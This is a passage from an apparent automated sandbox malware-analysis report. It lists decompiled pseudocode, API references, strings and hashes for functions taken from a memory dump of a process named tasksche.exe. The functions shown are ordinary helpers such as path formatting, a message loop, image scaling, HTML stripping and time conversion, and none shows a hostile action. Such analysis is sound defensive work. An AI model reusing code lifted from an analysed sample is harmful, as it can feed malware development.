								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%s.%d.tmp, xrefs: 0040AA82
%c:\, xrefs: 0040AA9A

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,76B4BB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: (
API String ID: 189428636-3887548279
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

<style>, xrefs: 00419598
</style>, xrefs: 004195B3
<br>, xrefs: 00419560
</p>, xrefs: 00419549

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
